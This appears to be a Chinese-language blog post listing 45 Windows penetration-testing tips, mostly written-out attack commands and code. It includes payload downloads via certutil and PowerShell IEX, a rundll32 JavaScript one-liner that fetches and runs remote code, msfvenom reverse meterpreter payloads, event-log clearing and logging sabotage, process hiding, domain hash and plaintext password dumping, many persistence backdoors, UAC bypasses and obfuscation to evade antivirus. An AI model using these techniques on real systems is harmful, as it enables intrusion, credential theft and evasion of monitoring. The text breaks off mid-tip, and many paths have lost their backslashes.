渗透技巧总结,一些Tips分享

admin 2023年11月28日23:00:47评论35 views字数 25915阅读86分23秒阅读模式

声明

以下技巧不应用于非法用途

Tips 1. 手动端口探测

nmap 的 - sV 可以探测出服务版本,但有些情况下必须手动探测去验证

使用 Wireshark 获取响应包未免大材小用,可通过 nc 简单判断

eg.

对于 8001 端口,nc 连接上去,随便输入一个字符串,得到了以下结果:

$ nc -vv localhost 8001  localhost [127.0.0.1] 8001 (?) openasdHTTP/1.1 400 Bad RequestDate: Fri, 25 Aug 2017 12:15:25 GMTServer: Apache/2.4.23 (Debian)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address></body></html>

由此我们知道了这是一个 http 服务,因为我们发送的字符串不是一个合法的 HTTP 请求,因此返回一个 400 Bad requests,我们还得到了系统的版本是 Debian,WebServer 是 Apache

参考:

《谈谈端口探测的经验与原理》

Tips 2. Windows 系统从 Kali 下载文件

Kali:

python -m SimpleHTTPServer 80

Windows:

certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.execertutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete

参考:

《渗透测试中的 certutil.exe》

Tips 3. 配置工作组计算机, 使其支持 net use 远程连接

添加用户:

net user test test /addnet localgroup administrators test /add

修改注册表,使其支持远程连接:

reg add hklmSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1

net use 远程连接:

net use \192.168.1.195 test /u:test

Tips 4. Windows 日志清除

获取日志分类列表:

wevtutil el >1.txt

获取单个日志类别的统计信息:

eg.

wevtutil gli "windows powershell"

回显:

creationTime: 2016-11-28T06:01:37.986ZlastAccessTime: 2016-11-28T06:01:37.986ZlastWriteTime: 2017-08-08T08:01:20.979ZfileSize: 1118208attributes: 32numberOfLogRecords: 1228oldestRecordNumber: 1

查看指定日志的具体内容:

wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息:

wevtutil cl "windows powershell"

参考:

《渗透技巧 - Windows 日志的删除与绕过》

Tips 5. 破坏 Windows 日志记录功能

通过调用 TerminateThread 结束实现日志功能的线程,使得日志记录功能失效,但 Windows Event Log 服务没有被破坏,状态仍为正在运行

Powershell:

https://github.com/hlldz/Invoke-Phant0m

C++:

https://github.com/3gstudent/Windwos-EventLog-Bypass

参考:

《渗透技巧 - Windows 日志的删除与绕过》

《利用 API-NtQueryInformationThread 和 I_QueryTagInformation 实现对 Windwos 日志监控的绕过》

Tips 6. Win7 和 Windows Server 2008 R2 下的进程隐藏

利用 globalAPIhooks,通过修改注册表实现

下载工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz

修改代码指定要隐藏的程序名 cldr.exe,编译成 cldr.dll,cldr.dll 放在C:ProgramDataMicrosoftHelpLibrary

管理员权限:

reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /freg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f

此时,任务管理器进程列表不存在 cldr.exe,Process Explorer 不存在 cldr.exe,Tasklist.exe 不存在 cldr.exe

对于 64 位系统:

管理员权限:

reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /freg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldrx64.dll" /freg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionWindows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /freg add "hklmSOFTWAREWow6432NodeMicrosoftWindows NTCurrentVersionWindows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f

参考:

《利用 globalAPIhooks 在 Win7 系统下隐藏进程》

Tips 7. 同名 exe 和 com 文件执行顺序

如果一个路径下同时包含同名的 exe 和 com 文件,例如 test.exe 和 test.com,通过命令行 cmd 输入 test(不包含文件后缀名),会优先运行 com 文件,即 test.com

而 COM 文件的生成只需要把 exe 文件的后缀名改为 com 即可

参考:

《A dirty way of tricking users to bypass UAC》

Tips 8. Windows 系统证书生成与注册

证书生成与签名:

makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cercert2spc Root.cer Root.spcpvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -fsigntool sign /f Root.pfx /p 12345678password test.exe

执行后生成 Root.cer、Root.pfx、Root.pvk、Root.spc 四个文件,test.exe 被加上数字签名

证书注册:

管理员权限 cmd,将证书添加到 localmachine:

certmgr.exe -add -c Root.cer -s -r localmachine root

参考:

《A dirty way of tricking users to bypass UAC》

Tips 9. hta 执行 vbs,加载 powershell

test.hta:

<HTML> <HEAD> <script language="VBScript">    Set WshShell = CreateObject("WScript.Shell")    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="    WshShell.Run Connect, 4, true</script><HTA:APPLICATION ID="test"WINDOWSTATE = "minimize"></HEAD> <BODY> </BODY> </HTML>

参考:

《Bypass McAfee Application Control——Code Execution》

Tips 10. 通过 c# 编写 dll & 通过 rundll32.exe 或者 regsvr32 加载 dll

默认情况下,c# 不可以声明导出函数,但可通过添加 UnmanagedExports 实现

当然,通过 c# 编写的 dll,dll 需要在对应版本的. NET 环境才能正常运行,通过 c++ 编写的 dll 更加通用

通过 rundll32.exe 或者 regsvr32 能够加载 dll,但要求 dll 包含特定的导出函数

参考:

《Code Execution of Regsvr32.exe》

Tips 11. Windows 下 cpl 文件介绍

本质上是 DLL 文件,后缀名为 cpl,包含一个导出函数 CPLApplet(c 实现可不指定)

执行方法:

(1) 双击直接运行

(2)cmd

rundll32 shell32.dll,Control_RunDLL test.cpl

(3)cmd

control test.cpl

(4)vbs

Dim objSet obj = CreateObject("Shell.Application")obj.ControlPanelItem("test.cpl")

(5)js

var a = new ActiveXObject("Shell.Application");a.ControlPanelItem("c:\test\test.cpl");

参考:

《CPL 文件利用介绍》

Tips 12. Windows 下通过 cmd 调用 rundll32 执行一段代码弹回 Shell

Server:

https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

Client:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet%20Settings\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

当然,该 RAT 工具还可通过以下方法加载:

vbs,js,exe,dll,shellcode

参考:

《JavaScript Backdoor》

《JavaScript Phishing》

Tips 13. 可通过内存 dump 还原出 putty&pageant 的密钥

windows 和 Linux 均适用

参考:

《Memory Dump 利用实例》

Tips 14. 针对 Visual Studio 的钓鱼利用

Visual C++:

修改. vcxproj 文件

Visual Basic:

修改. vbproj 文件

Visual F#:

修改. fsproj 文件

使用 Visual Studio 对以上任一工程编译时,能够执行任意代码

参考:

《Pay close attention to your download code——Visual Studio trick to run code when building》

Tips 15. 32 位程序在 64 位 Windows 系统下执行的时候,如果有对注册表和文件的操作,存在重定向

对注册表操作:

访问 HKLMSoftware 的实际路径为 HKLMSoftwareWow6432Node

对文件操作:

访问 c:windowsSysnative 的实际路径为 c:windowssystem32
访问 c:windowssystem32 的实际路径为 c:windowsSysWOW64

参考:

《关于 32 位程序在 64 位系统下运行中需要注意的重定向问题》

Tips 16. 获取 Windows 域控所有用户 hash

方法 1:

复制 ntds.dit:

使用 NinjaCopy,https://github.com/3gstudent/NinjaCopy

导出 hash:

使用 quarkspwdump,https://github.com/quarkslab/quarkspwdump

esentutl /p /o ntds.ditQuarksPwDump.exe -dhb -hist -nt c:testntds.dit -o c:testlog.txt

方法 2:

使用 powershell:DSInternals PowerShell Module

https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip

适用条件:

Windows PowerShell 3.0 or 3.0+

.NET Framework 4.0 or 4.0+

参考:

《导出当前域内所有用户 hash 的技术整理》

《利用 Powershell 快速导出域控所有用户 Hash》

Tips 17. 导出 Windows 系统明文口令

Windows Server 2012 默认无法使用 mimikatz 导出明文口令,部分 Windows Server 2008 也一样

解决方法:启用 Wdigest Auth

cmd:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

or

powershell:

Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1

重启或者用户再次登录,能够导出明文口令

参考:

《域渗透——Dump Clear-Text Password after KB2871997 installed》

Tips 18. 可通过 Hook PasswordChangeNotify 实时记录域控管理员的新密码

当然,可选择保存在本地或是将密码上传至服务器

参考:

《域渗透——Hook PasswordChangeNotify》

Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号

如果管理员疏忽,域内主机使用相同的本地管理员账号,可以通过 pass-the-hash 远程登录域内其他主机

参考:

《域渗透——Local Administrator Password Solution》

Tips 20. 通过 powershell 获取 dll 的导出函数

https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1

Get-Exports -DllPath c:Windowssystem32dimsjob.dll -ExportsToCpp C:testexport.txt

参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

Tips 21. 快捷方式的参数隐藏技巧

将 payload 放置在 260 个空字符之后,这样无法在文件属性查看 payload,可以用来在快捷方式中隐藏 payload,欺骗用户点击,隐蔽执行代码

参考:

《渗透技巧——快捷方式文件的参数隐藏技巧》

Tips 22. 32 位程序能够对 64 位进程进行远程注入

POC:

https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp

参考:

《32 位程序对 64 位进程的远程注入实现》

Tips 23. system 权限的进程在某些情况下需要进行降权

使用 sytem 权限的进程可能会遇到以下问题:

1.无法获得当前用户的文件内容

例如无法捕获用户的屏幕

1.环境变量有差异

因此需要降权到当前用户

降权方法 1:使用 SelectMyParent.exe

代码下载地址:https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp

参考:

《渗透技巧——程序的降权启动》

降权方法 2:使用 msdtc

使用 msdtc 会以 system 权限加载 oci.dll,但在管理员权限 cmd 执行:

msdtc -install

启动的 calc.exe 为 high 权限

参考:

《Use msdtc to maintain persistence》

Tips 24. 通过命令行能够对 Windows 系统安装 WinPcap,这样就可以在 Windows 跳板上使用 nmap 和 Masscan

参考:

《渗透技巧——Windows 平台运行 Masscan 和 Nmap》

Tips 25. Windows 平台执行 mimikatz 的方法

方法 1:通过 powershell

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

方法 2:通过 InstallUtil.exe

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /unsafe /out:PELoader.exe PELoader.csC:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

参考:

《利用白名单绕过 360 实例》

《利用白名单绕过限制的更多测试》

方法 3:通过 regsvr32.exe

https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

将 mimikatz 封装到 dll 中,通过 regsvr32 传入参数运行 mimkatz

rundll32 katz.dll,EntryPoint log coffee exit

参考:

《Code Execution of Regsvr32.exe》

方法 4:通过 msbuild.exe

下载 xml 文件,保存为 a.xml:

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml

cmd:

C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe executes a.xml

参考:

《Use MSBuild To Do More》

方法 5:通过 csi.exe

"C:Program Files (x86)MSBuild14.0Bincsi.exe" c:testkatz.csx

参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法 6:通过 js/vbs 脚本

https://gist.github.com/subTee/5c636b8736530fb20c3d

https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

参考:

《利用 JS 加载. Net 程序》

Tips 26. Windows 系统中可供存储和读取 payload 的位置

方法 1:WMI

存储:

$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)$StaticClass.Name = 'Win32_Command'$StaticClass.Put()$StaticClass.Properties.Add('Command' , $Payload)$StaticClass.Put()

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

参考:

《WMI Backdoor》

方法 2:包含数字签名的 PE 文件

利用文件 hash 的算法缺陷,向 PE 文件中隐藏 Payload,同时不影响该 PE 文件的数字签名

参考:

《隐写技巧 - 在 PE 文件的数字证书中隐藏 Payload》

方法 3:特殊 ADS

(1)...

type putty.exe > ...:putty.exewmic process call create c:testads...:putty.exe

(2) 特殊 COM 文件

type putty.exe > \.C:testadsCOM1:putty.exewmic process call create \.C:testadsCOM1:putty.exe

(3) 磁盘根目录

type putty.exe >C::putty.exe wmic process call create C::putty.exe

参考:

《Hidden Alternative Data Streams 的进阶利用技巧》

Tips 27. Windows 系统中值得搜集的信息

(1) 已注册的 WMI 信息

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter GET __RELPATH /FORMAT:listwmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:listwmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list

管理员也许会使用 WMI 记录攻击者调用 WMI 的操作,可通过 wmic 查看,当然通过 wmic 也能关闭该监控功能

参考:

《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》

Tips 28. Windows 系统反弹 meterpreter 的常用方法

方法 1:通过 rundll32 加载 dll 反弹 meterpreter

msf:

msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll

生成 a.dll, 然后上传至测试主机

执行rundll32.exe a.dll,Control_RunDLL,即可上线

方法 2:通过 cpl 反弹 meterpreter

代码见 https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp

生成 dll,重命名为 cpl,双击执行

方法 3:通过 powershell 反弹 meterpreter

https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1

Tips 29. Windows 系统加载 dll 的方法

方法 1:rundll32

rundll32 a.dll,EntryPoint

方法 2:regsvr32

regsvr32 a.dll

参考:

《Code Execution of Regsvr32.exe》

方法 3:odbcconf

odbcconf.exe /a {regsvr c:testodbcconf.dll}

参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

方法 4:Tracker

Tracker.exe /d test.dll /c svchost.exe

tracker.exe 包含微软数字签名,可绕过应用程序白名单的限制

参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法 5:Excel.Application object's RegisterXLL() method

前提:已安装 Microsoft Office 软件

1.rundll32

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\test\messagebox.dll');this.close();

2.js

var excel = new ActiveXObject("Excel.Application");excel.RegisterXLL("C:\test\messagebox.dll");

3.powershell

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))$excel.RegisterXLL("C:testmessagebox.dll")

参考:

《Use Excel.Application object's RegisterXLL() method to load dll》

方法 6:xwizard.exe

复制 %windir%system32 下的 xwizard.exe 至新目录 C:x

将 msg.dll 重命名为 xwizards.dll,保存在 C:x

命令行执行:

xwizard processXMLFile 1.txt

成功加载 C:xxwizards.dll

参考:

《Use xwizard.exe to load dll》

Tips 30. Windows Persistence

方法 1:bitsadmin

bitsadmin /create backdoorbitsadmin /addfile backdoor %comspec%  %temp%cmd.exebitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"bitsadmin /Resume backdoor

参考:

《Use bitsadmin to maintain persistence and bypass Autoruns》

方法 2:mof

pragma namespace("\\.\root\subscription")    instance of __EventFilter as $EventFilter{    EventNamespace = "Root\Cimv2";    Name  = "filtP1";    Query = "Select * From __InstanceModificationEvent "            "Where TargetInstance Isa "Win32_LocalTime" "            "And TargetInstance.Second = 1";    QueryLanguage = "WQL";};    instance of ActiveScriptEventConsumer as $Consumer{    Name = "consP1";    ScriptingEngine = "JScript";    ScriptText = "GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")";};    instance of __FilterToConsumerBinding{    Consumer   = $Consumer;    Filter = $EventFilter;};

管理员权限:

mofcomp test.mof

参考:

《WSC、JSRAT and WMI Backdoor》

方法 3:wmi

每隔 60 秒执行一次 notepad.exe

wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE rootcimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE C:WindowsSystem32notepad.exe",CommandLineTemplate="C:WindowsSystem32notepad.exe"wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="BotFilter82"", Consumer="CommandLineEventConsumer.Name="BotConsumer23""

参考:

《Study Notes of WMI Persistence using wmic.exe》

方法 4:Userland Persistence With Scheduled Tasks

劫持计划任务 UserTask,在系统启动时加载 testmsg.dll

操作如下:

在 HKEY_CURRENT_USERSoftwareClassesCLSID 下新建项 {58fb76b9-ac85-4e55-ac04-427593b1d060}

接着新建项 InprocServer32

值设定为c:testtestmsg.dll

testmsg.dll 包含如下导出函数:

DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer

等待用户重新登录

参考:

《Userland registry hijacking》

方法 5:Netsh

helper DLL 需要包含导出函数 InitHelperDll

管理员权限:

netsh add helper c:testnetshtest.dll

helper dll 添加成功后,每次调用 netsh,均会加载 c:testnetshtest.dll

参考:

《Netsh persistence》

方法 6:Shim

常用方式:

InjectDll

RedirectShortcut

RedirectEXE




《渗透测试中的 Application Compatibility Shims》

方法 7:dll 劫持

通过 Rattler 自动枚举进程,检测是否存在可用 dll 劫持利用的进程

参考:

《DLL 劫持漏洞自动化识别工具 Rattler 测试》

方法 8:DoubleAgent

编写自定义 Verifier provider DLL

通过 Application Verifier 进行安装

注入到目标进程执行 payload

每当目标进程启动,均会执行 payload,相当于一个自启动的方式

参考:

《渗透测试中的 Application Verifier(DoubleAgent 利用介绍)》

方法 9:waitfor.exe

不支持自启动,但可远程主动激活,后台进程显示为 waitfor.exe

参考:

《Use Waitfor.exe to maintain persistence》

方法 10:AppDomainManager

针对. Net 程序,通过修改 AppDomainManager 能够劫持. Net 程序的启动过程。如果劫持了系统常见. Net 程序如 powershell.exe 的启动过程,向其添加 payload,就能实现一种被动的后门触发机制

参考:

《Use AppDomainManager to maintain persistence》

方法 11:Office 加载项

如果系统已安装 office 软件,可通过配置 Office 加载项实现劫持,作为被动后门

常用利用方式:

Word WLL

Excel XLL

Excel VBA add-ins

PowerPoint VBA add-ins

POC:https://github.com/3gstudent/Office-Persistence

参考:

《Use Office to maintain persistence》

《Office Persistence on x64 operating system》

方法 12:CLR

无需管理员权限的后门,并能够劫持所有. Net 程序

POC:https://github.com/3gstudent/CLR-Injection

参考:

《Use CLR to maintain persistence》

方法 13:msdtc

利用 MSDTC 服务加载 dll,实现自启动,并绕过 Autoruns 对启动项的检测

参考:

《Use msdtc to maintain persistence》

方法 14:Hijack CAccPropServicesClass and MMDeviceEnumerator

不需要重启系统,不需要管理员权限

通过修改注册表实现

POC:https://github.com/3gstudent/COM-Object-hijacking

参考:

《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》

方法 15:Hijack explorer.exe

不需要重启系统,不需要管理员权限

通过修改注册表实现

参考:

《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》

方法 16:Windows FAX DLL Injection

通过 DLL 劫持,劫持 Explorer.exe 对 fxsst.dll 的加载

Explorer.exe 在启动时会加载c:WindowsSystem32fxsst.dll(服务默认开启,用于传真服务)

将 payload.dll 保存在 c:Windowsfxsst.dll,能够实现 dll 劫持,劫持 Explorer.exe 对 fxsst.dll 的加载

方法 17:劫持 Office 软件的特定功能

通过 dll 劫持, 在 Office 软件执行特定功能时触发后门

参考:

《利用 BDF 向 DLL 文件植入后门》

方法 18:特殊注册表键值

在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取 (使用 Win32 API),但系统能够执行 (使用 Native API)

参考:

《渗透技巧——"隐藏" 注册表的创建》

《渗透技巧——"隐藏" 注册表的更多测试》

方法 19:powershell 配置文件

修改 powershell 配置文件,后门在 powershell 进程启动后触发

查看是否使用配置文件:

Test-Path $profile

创建配置文件:

New-Item -Path $profile -Type File –Force

修改配置文件内容,添加后门:

$string = 'Start-Process "cmd.exe"'$string | Out-File -FilePath "C:UsersaDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append

From:

https://rastamouse.me/2018/03/a-view-of-persistence/

Tips 31. UAC 绕过

方法 1:use eventvwr.exe and registry hijacking

适用:Win7,Win8.1,Win 10

https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1

参考:

《Study Notes of WMI Persistence using wmic.exe》

《Userland registry hijacking》

方法 2:use sdclt.exe

适用 Win10

参考:

《Study Notes of using sdclt.exe to bypass UAC》

方法 3:use SilentCleanup

适用 Win8,Win10

reg add hkcuEnvironment /v windir /d "cmd /K reg delete hkcuEnvironment /v windir /f && REM "schtasks /Run /TN MicrosoftWindowsDiskCleanupSilentCleanup /I

参考:

《Study Notes of using SilentCleanup to bypass UAC》

方法 4:use wscript.exe

只适用于 Win7

https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1

参考:

《Empire 中的 Invoke-WScriptBypassUAC 利用分析》

方法 5:use cmstp.exe

https://msitpros.com/?p=3960

适用于 Win7

方法 5:修改环境变量,劫持高权限. Net 程序

适用 Win7-Win10

如 gpedit.msc

修改环境变量,利用 CLR 劫持 gpedit.msc 的启动过程

参考:

《Use CLR to bypass UAC》

方法 6:修改注册表 HKCUSoftwareClassesCLSID,劫持高权限程序

适用 Win7-Win10

{B29D466A-857D-35BA-8712-A758861BFEA1}

{D5AB5662-131D-453D-88C8-9BBA87502ADE}

{0A29FF9E-7F9C-4437-8B11-F424491E3931}

{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}





参考:

《Use CLR to bypass UAC》

Tips 32. Visual Studio 生成的 exe 或是 dll 在其他系统使用,提示缺少相关 DLL 文件

解放方法:

将程序打包发布

项目菜单 -> 项目属性,C/C++-> 代码生成 -> 运行库,选择多线程 (/MT)

Tips 33. 使用 LaZagne 导出当前系统中常见应用存储的密码

可以使用 LaZagne 导出当前系统中常见应用存储的密码(例如浏览器、Wifi、Git、Outlook 等)

https://github.com/AlessandroZ/LaZagne

当然,也可以修改 LaZagne 源码实现对其他应用的密码导出

参考:

《本地密码查看工具 LaZagne 中的自定义脚本开发》

Tips 34. 使用 powershell 读写文件

读文本文件:

$file = Get-Content "1.txt"

写文本文件:

Set-content "1.txt"

读二进制文件:

[System.IO.File]::ReadAllBytes('1.exe')

写二进制文件:

[System.IO.File]::WriteAllBytes("1.exe",$fileContentBytes)

Tips 35. powershell 作 base64 编码 / 解码

编码:

$encoded = [System.Convert]::ToBase64String($fileContent)

解码:

$fileContent = [System.Convert]::FromBase64String($encoded)

参考:

《Study Notes of using BGInfo to bypass Application Whitelisting》

Tips 36 如果 powershell 脚本被查杀,可以尝试使用 Invoke-Obfuscation 进行混淆

https://github.com/danielbohannon/Invoke-Obfuscation

eg.

设置要混淆的代码:

set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "

输入encoding

输入1,指定编码为 ascii

得到混淆后的代码:

" $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE  'oFS'  ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')

Tips 37 python 脚本转 exe

常见的两种方法:

使用 py2exe

使用 PyInstaller



使用方法和常见 bug 解决方法可参照参考链接

参考:

《本地密码查看工具 LaZagne 中的自定义脚本开发》

Tips 38 普通用户权限向管理员权限的路径下写文件

eg.

以普通用户权限向c:windows文件夹下释放文件

makecab c:testtest.exe %TMP%1.tmpwusa %TMP%1.tmp /extract:"c:windows" /quiet

适用于 Win7、Win8,学习自:

https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1

参考:

《Empire 中的 Invoke-WScriptBypassUAC 利用分析》

Tips 39 在远程系统上执行程序的方法汇总

常用方法:

at

psexec

WMIC

wmiexec

smbexec

powershell remoting





新方法:

DCOM

参考:

《域渗透——利用 DCOM 在远程系统执行程序》

Tips 40 寻找 Windows 系统中可被利用的服务

枚举 Windows 系统服务对应可执行文件的路径,如果路径包含普通用户的写权限,那么该服务可被用来提升权限

powershell 代码:

$ErrorActionPreference="SilentlyContinue"$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}for($i=0;$i -le $out.Count-1;$i++){    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny(""))     If($a.Owner -ne "NT AUTHORITYSYSTEM"){        If($a.Owner -ne "NT SERVICETrustedInstaller"){            If($a.Owner -ne "BUILTINAdministrators"){                                Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status                Write-host Owner: $a.Owner            }            }    }}Write-host [+] All done.

参考:

《Use powershell to find a writable windows service》

Tips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行

Windows 系统支持 Logon Scripts,Logon Scripts 是在系统启动时执行,执行顺序要优先于杀毒软件,当然,杀毒软件无法拦截 Logon Scripts 中脚本的操作(杀毒软件尚未启动)

关键在于杀毒软件会不会拦截 Logon Scripts 的配置使用

使用特殊操作添加 Logon Scripts,杀毒软件不会拦截

注:

以上提到的杀毒软件是指 “部分” 杀毒软件,并不通用

参考:

《Use Logon Scripts to maintain persistence》

Tips 42 编译 c# 程序注意事项

使用 Visual Studio:

项目名要同 namespace 指定的名称对应,如果不对应,可在项目 - 属性 - 程序集名称中修改,否则生成的 dll 无法使用

使用 csc.exe:

eg.

using System;using System.Diagnostics;namespace TestDotNet{   public class Class1   {      static Class1()      {          Process.Start("cmd.exe");         Environment.Exit(0);      }   }}

保存为 TestDotNet.cs,直接使用 csc.exe 生成就好:

C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /t:library TestDotNet.cs

如果保存为 a.cs,那么需要加 / out 参数指定输出文件为 TestDotNet.dll,这样程序集名称也默认为 TestDotNet(同源代码对应),否则,dll 虽然能够被加载,但无法执行,参数如下:

C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /t:library /out:TestDotNet.dll a.cs

Tips 43 使用 net use 远程连接的端口问题

使用 net use 远程连接,目标如果开启了 NetBIOS over TCP/IP,那么:

1.

目标同时开放 139 和 445 端口,系统优先使用 445 端口连接

2.

目标禁用 445 端口,可使用 139 端口连接



目标如果禁用了 NetBIOS over TCP/IP,那么:

1.目标禁用 445 端口,无法连接

Tips 44 获得 TrustedInstaller 权限

启动服务 TrustedInstaller, 通过 Token 复制来获得 TrustedInstaller 权限

常用方法:

SelectMyParent

Invoke-TokenManipulation.ps1

incognito




参考:

渗透技巧——Token 窃取与利用

Tips 45 3389 远程连接

1、查询系统是否允许 3389 远程连接:

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

1 表示关闭,0 表示开启

查看远程连接的端口:

